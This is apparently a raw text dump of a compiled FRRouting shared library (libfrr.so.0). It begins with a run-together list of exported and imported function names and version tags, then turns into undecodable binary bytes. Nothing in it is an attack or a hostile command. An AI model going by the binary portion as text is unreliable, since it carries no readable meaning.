sg_flushimsg_clearjhash2jhash_3wordsjhash_2wordsjhash_1wordjson_object_new_stringvvasnprintfrrjson_object_new_stringjson_array_string_addjson_array_string_addvjson_object_object_addvjson_object_new_int64json_object_double_addjson_object_new_doublejson_object_boolean_false_addjson_object_new_booleanjson_object_boolean_true_addjson_object_lockjson_object_getjson_object_putqobj_t_keyqobj_get_typedqobj_t_keychainmktimelocaltime_rstrftimekeychain_lookupkey_lookup_for_acceptkey_match_for_acceptkey_lookup_for_sendkeychain_get_block_sizekeychain_get_hash_lenkeychain_get_descriptionkeychain_get_hash_algo_infokeychain_get_algo_id_by_namekeychain_get_algo_name_by_idkeychain_initldp_sync_info_createldp_sync_info_freeldp_sync_if_is_enabledldp_sync_if_downlib_error_initfrrmod_listdlinfocmd_init_config_callbackslib_cmd_initmtype_memstrmallinfoqmem_walkumaskmkdirzprivs_get_idssigemptysetsigaddsetsigprocmasksigactionppollwaitpidrecvperrorvty_stdio_suspendvty_stdio_resumevty_stdio_closefflushdup2frr_zclient_addrfrr_zclientpathfrr_init_vtydirfrr_vtydirfrr_preinitfrr_sysconfdirconfig_default__fxstatsystemd_init_envfrr_is_startup_fdfrr_opt_addfrr_help_exitfrr_getoptgetopt_longoptargvrf_set_default_namefrr_initsrandomzprivs_preinitcommand_setup_early_loggingzclient_addr_lenfrrmod_initfrrmod_loadzprivs_initsignal_init_hook_frr_early_initnb_initnb_db_initfrr_moduledirfrr_get_progname_hook_frr_config_prevty_shared_candidate_configvty_read_config_hook_frr_config_postnb_candidate_commitnb_err_namefrr_get_fd_limitfrr_config_fork_hook_frr_late_initpid_outputsocketpairset_cloexecsetsidnb_terminateyang_terminatefrr_detachfrr_runvty_serv_sockzlog_startup_endvty_stdioset_nonblocking_hook_frr_early_finivty_terminatezprivs_terminatelog_memstatsfrr_scriptdirlistnode_add_headlistnode_add_sort_noduplistnode_add_afterlistnode_move_to_taillistnode_lookuplistnode_lookup_nochecklist_sortlistnode_add_forcels_node_id_samels_node_newls_node_dells_node_samels_attributes_newls_attributes_srlg_dells_attributes_dells_attributes_samels_prefix_newls_prefix_dells_prefix_samesysid_to_keyls_vertex_addls_find_vertex_by_idls_vertex_updatels_vertex_samels_find_edge_by_keyls_find_edge_by_sourcels_find_edge_by_destinationls_edge_addin6addr_anyls_edge_updatels_edge_samels_subnet_addls_subnet_samels_subnet_dells_subnet_del_allls_find_subnetls_subnet_updatels_ted_newls_ted_dells_connectls_disconnectls_connect_verticesls_disconnect_edgels_edge_dells_edge_del_allls_vertex_dells_vertex_del_allls_ted_del_allls_ted_cleanls_registerzclient_register_opaquels_unregisterzclient_unregister_opaquels_request_syncls_parse_msgstream_getw2stream_get_ipv4stream_getq2ls_send_msgstream_putfstream_put_ipv4stream_putqls_vertex2msgls_edge2msgls_subnet2msgls_vertex_cleanls_msg2vertexls_msg2edgels_msg2subnetls_msg2tedls_delete_msgls_stream2tedls_sync_tedls_show_vertexsbuf_initsbuf_pushsbuf_bufsbuf_freels_show_verticesls_show_edgels_show_edgesls_show_subnetls_show_subnetsls_show_tedls_dump_tedfrr_timestampzlog_backtrace_sigsafezlog_sigsafebacktrace_symbolszlog_signalthread_currentzlog_backtracezlog_thread_infomemory_oomzebra_route_stringzebra_route_charzserv_command_stringproto_name2numstrcasecmpproto_redistnumzlog_hexdumpzlog_sanitizezlog_msg_priozlog_msg_textmemmemzlog_fdzlog_filter_clearzlog_filter_addzlog_filter_delzlog_filter_dumpzlog_filterfile_initzlog_file_initzlog_filterfile_finizlog_file_finizlog_5424_apply_metazlog_file_set_otherzlog_syslog_set_prio_mingetcwdzlog_file_set_filenamezlog_syslog_set_facilityzlog_set_prefix_eczlog_set_prefix_xidzlog_set_immediatexrefdata_uidzlog_prognamesd_stdout_is_journalzlog_5424_initzlog_5424_apply_dstzlog_file_set_fdzlog_priority_strfacility_namefacility_matchzlog_file_rotate_hook_zlog_rotatelog_show_syslogzlog_syslog_get_prio_minzlog_syslog_get_facility_hook_zlog_cli_showzlog_live_open_fdzlog_live_disownzlog_get_prefix_eczlog_get_prefix_xid_hook_zlog_initlog_5424_cmd_initmd5_initmd5_loopmd5_padmd5_resulthmac_md5__memmove_chk__explicit_bzero_chkmg_insertMTYPE_BITFIELDmalloc_usable_sizeqcountfreemlag_role2strmlag_lib_msgid_to_strmlag_lib_decode_mlag_hdrmlag_lib_decode_mroute_addmlag_lib_decode_mroute_delmlag_lib_decode_mlag_statusmlag_lib_decode_vxlan_updatemlag_lib_decode_frr_status__start_xref_array__stop_xref_arrayxref_block_adddlopendlsymdlerrordlclosefrrmod_defaultmpls_str2labelmpls_label2strseg6local_action2strsnprintf_seg6_segsseg6local_context2strsrv6_locator_allocqobj_t_srv6_locatorsrv6_locator_chunk_allocsrv6_locator_freesrv6_locator_chunk_freesrv6_locator_chunk_jsonsrv6_locator_chunk_detailed_jsonsrv6_locator_jsonsrv6_locator_detailed_jsonreadnwritenfcntlhtonfntohffrr_sequence_nextfrr_sequence32_nextnexthop_g_addr_cmpnexthop_cmpnexthop_cmp_basicnexthop_type_to_strnexthop_labels_matchnexthop_newnexthop_samenexthop_same_no_labelsnexthop_from_ifindexnexthop_from_ipv4nexthop_from_ipv4_ifindexnexthop_from_ipv6nexthop_from_ipv6_ifindexnexthop_from_blackholenexthop_add_labelsnexthop_del_labelsnexthop_add_srv6_seg6localnexthop_del_srv6_seg6localnexthop_add_srv6_seg6nexthop_del_srv6_seg6nexthop_freenexthops_freenexthop_nextnexthop_next_active_resolvednexthop_levelnexthop_hash_quicknexthop_hashnexthop_copy_no_recursenexthop_copycopy_nexthopsnexthop_dup_no_recursenexthop_dupnexthop_str2backupsprintfrr_nhsprintfrr_ext_regnexthop_is_blackholens_map_nsid_with_externalns_get_createdns_have_netnsns_info_lookupns_lookup_namens_enablens_disablens_deletens_lookupns_walk_funcns_get_namens_add_hookns_netns_pathname__xpg_basenamens_initns_init_managementns_terminatens_switch_to_netnssetnsns_switchback_to_initialns_socketns_get_defaultns_id_get_absolutens_map_nsid_head_RB_TYPEns_head_RB_TYPEnexthop_group_nexthop_num_no_recursenexthop_group_nexthop_numsockunion_freesockunion_cmpqobj_t_nexthop_group_cmdnexthop_group_active_nexthop_numnexthop_group_active_nexthop_num_no_recursenexthop_existsnexthop_group_equal_no_recursenexthop_group_equalnexthop_group_newnexthop_group_delete_nexthop_addsockunion_dupnexthop_group_add_sorted_nexthop_delnexthop_group_copy_nh_sortednexthop_group_copynexthop_group_hash_no_recursenexthop_group_hashnexthop_group_mark_duplicatesnhgc_findnexthop_group_write_nexthop_simplenexthop_group_write_nexthopnexthop_group_json_nexthopjson_object_new_intnexthop_group_enable_vrfnexthop_group_disable_vrfnexthop_group_interface_state_changenexthop_group_initnhgc_entry_head_RB_TYPEyang_snode_get_pathyang_snode_real_parentyang_snode_parent_listyang_snodes_iterate_subtreeyang_snode_num_keysly_native_ctxlyd_validate_allyang_print_errorsyang_dnode_get_pathnb_nodes_createyang_snodes_iteratenb_nodes_deletenb_node_findlys_find_pathnb_node_set_dependency_cbsnb_node_has_dependencynb_config_newyang_dnode_newnb_config_freeyang_dnode_freenb_config_dupyang_dnode_dupnb_config_mergelyd_merge_siblingsnb_candidate_editlyd_free_treelyd_new_pathlyd_new_implicit_treenb_candidate_needs_updatenb_candidate_updatenb_running_locknb_running_unlocknb_running_lock_checknb_callback_get_elemnb_dbg_cbs_statenb_callback_get_nextnb_callback_get_keyslysc_node_childnb_callback_lookup_entrynb_callback_rpcnb_dbg_cbs_rpcnb_oper_data_iterately_errmsgnb_operation_is_validlyd_is_defaultlyd_diff_siblingsnb_dbg_cbs_configlyd_pathlyd_value_get_canonicallyd_print_memlyd_free_allnb_dbg_notif_hook_nb_notification_sendnb_running_move_treenb_running_get_entry_non_recnb_event_namenb_operation_nameyang_snode_is_typeless_datanb_candidate_validatenb_candidate_commit_preparenb_candidate_commit_abortnb_candidate_commit_applynb_db_transaction_savenb_client_namenb_validate_callbacksyang_initnb_dbg_eventsyang_module_loadnb_cli_initnb_cli_terminatenb_config_cbs_RB_TYPElyd_parse_data_pathyang_translate_dnodenb_db_transaction_loadyang_translate_xpathyang_data_free_hook_nb_client_debug_config_write_hook_nb_client_debug_set_allyang_translators_RB_TYPEyang_translatorsly_ctx_get_module_iteryang_translator_findyang_translator_loadyang_translator_unloadlyd_merge_treely_ctx_get_module_latestlys_print_memnb_dbg_libyangyang_debugging_setyang_data_newyang_snode_get_defaultnb_cli_rpcnb_cli_confirmed_commit_clean_thread_add_timernb_cli_confirmed_commit_rollbackyang_dnode_is_default_recursivepopenpclosenb_db_clear_transactionsnb_db_set_max_transactionsnb_db_transactions_iteratefrr_inet_ntop_rb_nfind_rb_left_rb_right_rb_parent_rb_set_left_rb_set_right_rb_set_parent_rb_poison_rb_checkftruncateprefix_list_nameprefix_list_afiprefix_list_lookupprefix_bgp_orf_lookuproute_map_notify_pentry_dependenciesprefix_list_add_hookprefix_list_delete_hookprefix_new_seq_getprefix_list_entry_lookupprefix_list_entry_deleteprefix_list_apply_extfamily2afiprefix_bgp_orf_entrystream_put_prefixprefix_bgp_orf_setprefix_bgp_orf_remove_allprefix_bgp_show_prefix_listprefix_list_initprefix_list_resetis_zero_macis_bcast_macis_mcast_macprefix_bitstr2familyfamily2strafi2familyafi2str_lowersafi2strevpn_type5_prefix_matchprefix_match_network_statementprefix_common_bitsprefix_family_strsscanfip_masklenapply_mask_ipv4prefix_ipv4_anyip6_masklenmasklen2ip6apply_mask_ipv6prefix2sockunionprefix_mcast_inet4_dumpprefix_sg2strprefix_ipv4_newprefix_ipv6_newsockunion2hostprefixprefix_ipv4_freeprefix_ipv6_freeprefix_free_listsapply_classful_mask_ipv4ipv4_broadcast_addrnetmask_str2prefix_strprefix_str2macprefix_hash_keystr_to_esiesi_to_strprefix2strevpn_es_df_alg2stripv4_unicast_validevpn_prefix2prefixzprivs_change_nullzprivs_state_nullcap_freezprivs_change_capscap_set_flagcap_set_proczprivs_state_capscap_get_flagzprivs_change_uidseteuidzprivs_state_uidgeteuid_zprivs_raise_zprivs_lowergetgrnamgetpwnamlib_privsgetgrouplistsetgroupssetregidprctlsetreuidcap_initcap_clearcap_get_proccap_to_textgetuidusleepptm_lib_append_msgptm_lib_init_msgptm_lib_cleanup_msgptm_lib_complete_msgptm_lib_find_key_in_msgptm_lib_process_msgptm_lib_registerptm_lib_deregister_pullwr_newpullwr_delpullwr_cfgpullwr_bumppullwr_writepullwr_statspthread_rwlock_wrlockpthread_rwlock_unlocktypesafe_hash_growtypesafe_hash_shrinkqobj_getpthread_rwlock_rdlockpthread_rwlock_initpthread_rwlock_destroyringbuf_newringbuf_delringbuf_remainringbuf_spaceringbuf_putringbuf_getringbuf_peekringbuf_copyringbuf_resetringbuf_wiperoute_map_masterMTYPE_ROUTE_MAP_NAMEMTYPE_ROUTE_MAP_RULEroute_node_getroute_node_lookuproute_table_initMTYPE_ROUTE_MAP_COMPILEDroute_map_match_interface_hookrmap_match_set_hookroute_map_no_match_interface_hookroute_map_match_ip_address_hookroute_map_no_match_ip_address_hookroute_map_match_ip_address_prefix_list_hookroute_map_no_match_ip_address_prefix_list_hookroute_map_match_ip_next_hop_hookroute_map_no_match_ip_next_hop_hookroute_map_match_ipv6_next_hop_hookroute_map_no_match_ipv6_next_hop_hookroute_map_match_ip_next_hop_prefix_list_hookroute_map_no_match_ip_next_hop_prefix_list_hookroute_map_match_ip_next_hop_type_hookroute_map_no_match_ip_next_hop_type_hookroute_map_match_ipv6_address_hookroute_map_no_match_ipv6_address_hookroute_map_match_ipv6_address_prefix_list_hookroute_map_no_match_ipv6_address_prefix_list_hookroute_map_match_ipv6_next_hop_type_hookroute_map_no_match_ipv6_next_hop_type_hookroute_map_match_ipv6_next_hop_prefix_list_hookroute_map_no_match_ipv6_next_hop_prefix_list_hookroute_map_match_metric_hookroute_map_no_match_metric_hookroute_map_match_tag_hookroute_map_no_match_tag_hookroute_map_set_srte_color_hookroute_map_no_set_srte_color_hookroute_map_set_ip_nexthop_hookroute_map_no_set_ip_nexthop_hookroute_map_set_ipv6_nexthop_local_hookroute_map_no_set_ipv6_nexthop_local_hookroute_map_set_metric_hookroute_map_no_set_metric_hookroute_map_set_tag_hookroute_map_no_set_tag_hookroute_map_lookup_by_nameroute_map_master_hashroute_toproute_map_lookup_warn_noexistroute_map_mark_updated_route_map_install_match_route_map_install_setroute_map_get_match_argroute_map_apply_extroute_node_matchroute_map_add_hookroute_map_delete_hookroute_map_event_hookroute_map_upd8_dependencyroute_map_index_deleteroutemap_hook_context_freeroute_table_finishroute_map_walk_update_listroute_map_deleteroute_map_getqobj_t_route_maproute_map_index_getqobj_t_route_map_indexroute_map_add_matchgeneric_match_addroute_map_delete_matchgeneric_match_deleteroute_map_add_setgeneric_set_addroute_map_delete_setgeneric_set_deleteroute_map_rule_tag_compileroute_map_rule_tag_freeroute_map_finishroute_map_counter_incrementroute_map_counter_decrementroute_map_initroute_map_cli_initroute_map_instance_cmpyang_dnode_get_uint16route_map_instance_showroute_map_instance_show_endroute_map_condition_showroute_map_action_showroute_map_exit_policy_showroute_map_call_showroute_map_description_showroute_map_optimization_disabled_showyang_dnode_get_ipv6lib_route_map_entry_match_destroylib_route_map_entry_set_destroyroutemap_hook_context_insertfrr_route_map_infosbuf_resetvsnprintfrrsyscallseqlock_checkHMAC__SHA256_InitHMAC__SHA256_UpdateHMAC__SHA256_FinalPBKDF2_SHA256alarmfrr_sigevent_checkfrr_sigevent_processskiplist_countskiplist_newskiplist_freeskiplist_insertskiplist_deleteskiplist_first_valueskiplist_searchskiplist_next_valueskiplist_firstskiplist_lastskiplist_emptyskiplist_nextskiplist_delete_firstskiplist_debugskiplist_testsetsockopt_so_recvbufsetsockoptsetsockopt_so_sendbufgetsockopt_so_sendbufgetsockoptgetsockopt_so_recvbufsetsockopt_ipv6_pktinfosetsockopt_ipv6_multicast_hopssetsockopt_ipv6_unicast_hopssetsockopt_ipv6_hoplimitsetsockopt_ipv6_multicast_loopsetsockopt_ipv6_tclasssetsockopt_ipv4_multicastsetsockopt_ipv4_multicast_ifsetsockopt_ipv4_multicast_loopsetsockopt_ipv4_tossetsockopt_ifindexgetsockopt_ifindexsockopt_iphdrincl_swab_htosyssockopt_iphdrincl_swab_systohsockopt_tcp_rttsockopt_tcp_signature_extsockunion_getsocknamesockopt_tcp_signaturesockopt_tcp_mss_setsockopt_tcp_mss_getsetsockopt_tcp_keepaliveinet_sutopstr2sockunionsockunion2strsockunion_str2susockunion_acceptsockunion_sizeofsockunion_connectsockunion_stream_socketsockunion_bindsockopt_reuseaddrsockopt_reuseportsockopt_ttlsockopt_minttlsockopt_v6onlysockunion_samesockunion_hashfamily2addrsizesockunion_get_addrlensockunion_get_addrsockunion_setsockunion_getpeernamein6addr_cmpsockunion_initsockunion_is_nullspf_backoff_newspf_backoff_freespf_backoff_schedule_thread_add_timer_msecspf_backoff_showthread_timer_remainspf_backoff_write_configspf_backoff_cmd_initspf_backoff_init_delayspf_backoff_short_delayspf_backoff_long_delayspf_backoff_holddownspf_backoff_timetolearnMTYPE_ROUTE_NODE_srcdest_dstnode_delegateroute_table_countsrcdest_table_initsrcdest_route_next_srcdest_srcnode_delegatesrcdest_rnode_getsrcdest_rnode_lookuproute_node_lookup_maynullsrcdest_rnode_prefixessrcdest2strsrcdest_rnode2strsrcdest_srcnode_tablestream_newstream_freestream_copystream_dupstream_dupcatstream_resize_inplacestream_get_getpstream_get_sizestream_set_getpstream_set_endpstream_forward_getpstream_forward_getp2stream_rewind_getpstream_rewind_getp2stream_forward_endpstream_forward_endp2stream_getstream_getcstream_getc_fromstream_getwstream_getw_fromstream_get3_fromstream_get3stream_getl_fromstream_get_fromstream_getlstream_getq_fromstream_getqstream_get_ipaddrstream_getfstream_getdstream_put3stream_putdstream_putc_atstream_put3_atstream_putl_atstream_putq_atstream_put_in_addrstream_put_in_addr_atstream_put_in6_addr_atstream_put_prefix_addpathstream_put_labeled_prefixstream_readstream_read_trystream_recvfromstream_recvmsgstream_writestream_put_ipaddrstream_pntstream_emptystream_flushstream_hexdumpstream_fifo_initstream_fifo_newstream_fifo_pushstream_fifo_push_safestream_fifo_popstream_fifo_pop_safestream_fifo_headstream_fifo_head_safestream_fifo_cleanstream_fifo_clean_safestream_fifo_count_safestream_fifo_deinitstream_fifo_freestream_pulldownprintfrr_timeasctime_rlldivsendtogetenv__strtol_internalsystemd_send_stoppingsystemd_send_startedsystemd_send_statusunsetenvsd_stderr_is_journalroute_node_createroute_node_destroyroute_node_match_ipv4route_node_match_ipv6route_next_untilroute_table_get_default_delegateroute_table_prefix_iter_cmproute_table_get_nextroute_table_iter_initroute_table_iter_pauseroute_table_iter_cleanupttable_insert_rowttable_del_rowttable_alignttable_padtypesafe_heap_pulluptypesafe_heap_resizetypesafe_heap_pushdownpthread_cond_broadcastpthread_oncegetrlimitthread_master_set_namethread_master_free_unusedthread_timer_remain_msecthread_timer_remain_secondthread_timer_to_hhmmss_thread_add_timer_tvthread_cancel_eventthread_cancel_event_readythread_cancel_asyncthread_consumed_timethread_should_yieldthread_set_yield_timethread_getrusagezlog_tls_buffer_flushdebug_signalssigismember__libc_current_sigrtmintyped_rb_find_gteqtyped_rb_find_lttyped_rb_prevtyped_rb_maxtypesafe_list_membertypesafe_dlist_membertypesafe_skiplist_addtypesafe_skiplist_findtypesafe_skiplist_find_gteqtypesafe_skiplist_find_lttypesafe_skiplist_deltypesafe_skiplist_popvector_copyvector_empty_slotvector_lookup_ensurevector_removeyang_data_new_boolvrf_switchback_to_initialvrf_switch_to_netnsqobj_t_vrfvrf_enablevrf_disablevrf_updatevrf_info_lookupvrf_bitmap_initvrf_bitmap_freevrf_bitmap_setvrf_bitmap_unsetvrf_bitmap_checkvrf_terminatevrf_configure_backendvrf_cmd_initvrf_initvrf_bindvrf_socketvrf_getaddrinfovrf_ioctlvrf_sockunion_socketfrr_vrf_infotcsetattrzlog_live_closelistenfreeaddrinfogai_strerrorregerrorjson_object_to_json_string_extvty_json_no_prettyvty_hellotcgetattrvty_pass_fdzlog_live_openvty_update_xpathvty_resetvty_get_cwdvty_init_vtyshvty_nodechdirwheel_initwheel_deletewheel_add_itemwheel_remove_itemwork_queue_runMTYPE_WORK_QUEUEwork_queue_newwork_queue_free_and_nullwork_queue_is_scheduledwork_queue_addwork_queue_plugwork_queue_unplugmemrchrxref_gcc_workaroundxref_blocksyang_module_embedly_ctx_load_moduleyang_modulesyang_module_load_allyang_module_findly_ctx_internal_modules_countlysc_pathyang_snode_get_typelyd_find_xpathly_set_freeyang_dnode_get_schema_nameyang_dnode_getfyang_dnode_existsfyang_dnode_is_defaultyang_dnode_is_defaultfyang_dnode_change_leaflyd_change_termlyd_dup_siblingsyang_data_list_newyang_data_list_findly_err_firstly_errpathly_err_cleanly_log_levelly_log_dbg_groupsyang_ctx_new_setupaccessly_ctx_newly_ctx_set_module_imp_clbly_set_log_clbly_log_optionsyang_translator_inityang_init_loading_completely_ctx_compileyang_translator_terminately_ctx_destroyyang_is_last_list_dnodeyang_is_last_level_dnodeyang_get_subtree_with_no_siblingyang_get_list_poslyd_list_posyang_get_list_elements_countyang_modules_RB_TYPEyang_str2boolyang_get_default_boolyang_str2dec64yang_data_new_dec64yang_dnode_get_dec64yang_get_default_dec64yang_str2enumyang_data_new_enumyang_get_default_enumyang_str2int8yang_data_new_int8yang_dnode_get_int8yang_get_default_int8yang_str2int16yang_data_new_int16yang_dnode_get_int16yang_get_default_int16yang_str2int32yang_dnode_get_int32yang_get_default_int32yang_str2int64yang_data_new_int64yang_dnode_get_int64yang_get_default_int64yang_str2uint8yang_data_new_uint8yang_get_default_uint8yang_str2uint16yang_get_default_uint16yang_str2uint32yang_get_default_uint32yang_str2uint64strtoullyang_data_new_uint64yang_dnode_get_uint64yang_get_default_uint64yang_dnode_get_string_bufyang_get_default_stringyang_get_default_string_bufyang_data_new_binaryyang_dnode_get_binary_bufyang_data_new_emptyyang_dnode_get_emptyyang_str2prefixyang_data_new_prefixyang_get_default_prefixyang_str2ipv4yang_data_new_ipv4yang_get_default_ipv4yang_str2ipv4pyang_data_new_ipv4pyang_dnode_get_ipv4pyang_get_default_ipv4pyang_str2ipv6yang_data_new_ipv6yang_get_default_ipv6yang_str2ipv6pyang_data_new_ipv6pyang_dnode_get_ipv6pyang_get_default_ipv6pyang_str2ipyang_data_new_ipyang_dnode_get_ipyang_get_default_ipyang_str2macyang_data_new_date_and_timeyang_nexthop_type2stryang_afi_safi_value2identityyang_afi_safi_identity2valuezclient_newzclient_freeredist_check_instanceredist_add_instanceredist_del_instanceredist_del_all_instanceszclient_stopzclient_socket_connectzclient_read_header__fdelt_chkselectzapi_parse_headerzclient_send_hellozclient_send_vrf_labelzclient_send_router_id_updatezclient_send_interface_radv_reqzclient_send_interface_protodownzclient_startzclient_initzclient_resetzclient_send_rnhzapi_nexthop_encodezapi_srv6_locator_chunk_encodezapi_srv6_locator_chunk_decodezapi_srv6_locator_encodezapi_srv6_locator_decodezclient_nhg_sendzapi_route_encodezclient_route_sendzclient_send_localsidzapi_nexthop_decodezapi_route_decodezapi_pbr_rule_encodezapi_tc_qdisc_encodezapi_tc_class_encodezapi_tc_filter_encodezapi_nhg_notify_decodezapi_route_notify_decodezapi_rule_notify_decodezapi_ipset_notify_decodezapi_ipset_entry_notify_decodezapi_iptable_notify_decodenexthop_from_zapi_nexthopzapi_nexthop_from_nexthopzapi_backup_nexthop_from_nexthopzapi_nexthop2strzapi_nexthop_update_decodezapi_error_decodezebra_redistribute_sendzebra_redistribute_default_sendzclient_send_reg_requestszclient_send_dereg_requestszebra_route_notify_sendzebra_router_id_update_readzebra_interface_state_readzebra_interface_link_params_readzebra_interface_link_params_writezebra_interface_address_readzebra_interface_nbr_address_readzebra_interface_vrf_update_readlm_label_manager_connectsrv6_manager_get_locator_chunksrv6_manager_release_locator_chunkzclient_send_get_label_chunklm_get_label_chunklm_release_label_chunktm_table_manager_connecttm_get_table_chunktm_release_table_chunkzapi_sr_policy_encodezebra_send_sr_policyzapi_sr_policy_decodezapi_sr_policy_notify_status_decodezapi_labels_encodezebra_send_mpls_labelszapi_labels_decodezebra_send_pwzebra_read_pw_status_updatezclient_send_mlag_registerzclient_send_mlag_deregisterzclient_send_mlag_datazclient_send_opaquezclient_send_opaque_unicastzclient_opaque_decodezapi_opaque_reg_decodezapi_client_close_notify_decodezclient_redistributezclient_redistribute_defaultzclient_interface_set_masterzclient_capabilities_sendzapi_capabilities_decodezclient_send_neigh_discovery_reqzclient_get_nhg_startzclient_dump_route_flagszclient_evpn_dump_macip_flagszclient_neigh_ip_encodezclient_neigh_ip_decodezclient_send_zebra_gre_requestzclient_options_default__tls_get_addrzlog_msg_pidzlog_msg_xrefvbprintfrrzlog_tmpdirfdopenatfchownposix_fallocatemmapunlinkatmunmapzlog_msg_argszlog_msg_tszlog_msg_ts_3164zlog_msg_tsrawzlog_target_clonezlog_target_replacezlog_prefix_hook_zlog_aux_initzlog_instancezlog_prefixszfchownat_hook_zlog_finirmdir__open_2mkfifosendmmsg_mg_LOGzlog_5424_finizlog_5424_statezlog_5424_rotateqobj_t_zlog_cfg_5424_usercloselogopenlog__syslog_chkvcsnprintfrrvasprintfrrfrr_routing_inforouting_control_plane_protocols_control_plane_protocol_createrouting_control_plane_protocols_control_plane_protocol_destroy_hook_routing_conf_eventrouting_control_plane_protocols_register_vrf_dependencytc_getratelibcap.so.2libyang.so.2libcrypt.so.1libdl.so.2libm.so.6libjson-c.so.4librt.so.1libgcc_s.so.1libpthread.so.0libc.so.6__cxa_atexitld-linux-x86-64.so.2_edata__bss_startlibfrr.so.0GLIBC_2.2.5GLIBC_2.3.3GLIBC_2.3XCRYPT_2.0JSONC_0.14GCC_3.0GCC_3.3.1GLIBC_2.12GLIBC_2.3.2GLIBC_2.15GLIBC_2.7GLIBC_2.25GLIBC_2.4GLIBC_2.14GLIBC_2.3.4GLIBC_2.17	







	
	 ui	0si	ui	Q ii
߇ `] 0P&ya_&	ň*@ψri	ڈui		:ii
ii

ii

	ti	'ui	h7%p7x7#777$7p777	70	7`	7	7	7	7 
7P
7
7
7
77@7p 7(707 87P@7H7P7X7
`7
h7p7@x7p777707`7777 7P77777@7p77770 7`(70787@7 H7PP7X7`7@h7pp7x777@7p7777@7p777707`7777777 7@(7p0787@7H70P7`X7`7h7p7 x7P7777P77 7P77777@77777@7p77 7 (70 07` 87 @7 H7 P7 !X7P!`7!h7!p7!x7"7@"7p"7"7"7#70#7`#7#7#7$7$7 %7P%7%77&7&7&7&7' 7'(7 '070'87@'@7P'H7`'P7.X7
`7h7 p70x7@7P7`7p7777@77777777p7&7&77P7 7(7 07P87@7H7P7X7@`7ph7p7x7707`7777 7P7777 7P77777@7p77 7(7007`87@7H7P7 X7P`7h7p7x77@7p777707`7777 77777@7p777 70(7`0787@7H7 P7PX7`7h7p7x7@7p777707`7777 7P77777@7p777 70(7`0787@7H7 P7PX7`7h7p7x7@7p777707`7777 7P77777@7p777 70(7`0787@7H7 P7PX7`7h7p7@x7.777.7/7777770787@7p7)x7737)77 7`:7)77H7H 7``:07)87@7P7T`7`:p7)x777Z7 a:7)7 77c7a:7)7@77u07)87@@71`7a:p7)x7@77p7)7`77@b:7)7`7707)87@7H7p7)x7777b:7)77 77c:7)77707)87@7p7)x7 77d:7)7@7=77d:7)7@7`7 7 d:07)87@@7#P7`7c:p7)x7@7	77`c:7)7@7@77@e:7)7P7707)87`@7`7f:p7)x77 77`f:7)7777f:7)777 7e:07)87@7P7`7g:p7)x7777 g:7)77H77`h:7/7P77 7 i:07/87`@7@P7`7h:p7/x7`777i:7/77 77i:7/7770787@7p7x77/777877780787@78p7x77 8777877780787@78p7x778777
8777`
80787@78p7x77@8777877780787@7@8p7x77`8777 8778@80888@88p8x888888888880888@8`8p8x888888 888880888@88p8x888888@888880888@88p8x88 8888`
8888 80888@8
8p8x88
8888
888880888@8	8p8x88@	88888880888@8p8x888888880888@8p8x88
88888 80888 @8p8x8@888@88808Ч	8-	8 	86@	8;H	8X	8f`	8Tx	8	8q	8>	8	8f	8W	8	8t
8
8
8f 
88
8@
8`
8h
8Xx
8
8
8
8
8
8
8P
8
88) 8:(888p@8PX8`8e8v88`g8888`88Є88 8@8H8X8``8x8888 8f888
8
8
8h 
88
8@
8`
8,h
8x
8pf
8?
8
8]
8w
8
8@h
8
88 8X(8x88Ps@8X8`8888 }8888888pp8)8 8@@8ZH8X8p{`8,x88C8w8@8o8888a88n 8388@8`8h8x888888X8888 8(888@8X8`8+8@880888P8b8(8z8v8 8@8pH8X8py`8x888888@u888888y 888@8\`8h8Px888828888A88V 8g(8(88@8{X8`888h8 h888888~88 8@8H8X8h`8x88888888888 888@8$`80h80x8Pf8888088X8f8K88 8](888h@8rX8`88888888888	(888"H8+X8;h8Cx8R8[8d8n8v8Q8808Q88 @8p8Qx8088Q8088%88308%88@8 p8%x8838%88 8%88908%88@83p8%x88 8%88D8%88Z08%88@8`p8%x88v8%88D8%88Z08%88@8`p8%x88v8%88P
8%88|08%88@8p8%x888%888%8
808%88
@8p8%x80
88%80
88%80
 80 8%8 8@
@ 8p 8%x 8@
 8! 8% 8@
 8] 8% 8@
!8]0!8%8!8@
@!8`!8p:p!8x!8!8
!8!8o:!8!8!8
!8 !8@o:!8!8"8"8p "8n:0"88"8@"8
P"8/`"8`p:p"8x"8"88"8="8p:"8"8"8"8="8@r:"8"8#8
#8Z #8q:0#88#8@#8	7P#8M`#8q:p#8x#8#8
#8Z#8 q:#8#8#8#8=#8#8HS#8#8r$8$8$8$8 $8($80$88$8@$8H$8P$8X$8`$8h$8p$8x$8$8$8$8$8	$8$8$8+$85$8B$8P$8g$8y$8$8$8%8A%80 %83P%8AX%80`%8 %8h%8%8C%8h%8%8&8&8 &8&8P&8X&8`&8&8&8&8&88&8&8&8&8N&8Q'8T'8" '8Y0'8p'8x'80'8P'8'8'8`(8'8'80(80(88(80@(8`(8@h(8hx(8@T(8(8(8(8
 (8P"(8 )8
 )8P" )83 P)8
 X)8p"`)8 )8
 )8p")83 )8
 )8")8 *8
 *8" *83 P*8
 X*8"`*8 .8*8
 *8"*8-8*8
 *8"*8,8+8
 +8" +8@,8P+8
 X+8"`+8`-8+8
 +8"+8-8+8L +8b+8\ +8b+8m ,8`b,8~ ,8@b@,8#H,88#X,80a`,8#x,8
 ,8 ,8 ,8#,8`,8 ,8
 ,8!-8@$-8p$-8` -8,!8-8
 @-8I!`-8b!h-8$x-8p`-8}!-8
 -8!-8H%-8x%-8P`-8!-8
 .8! .8!(.8%8.80`@.8!X.8
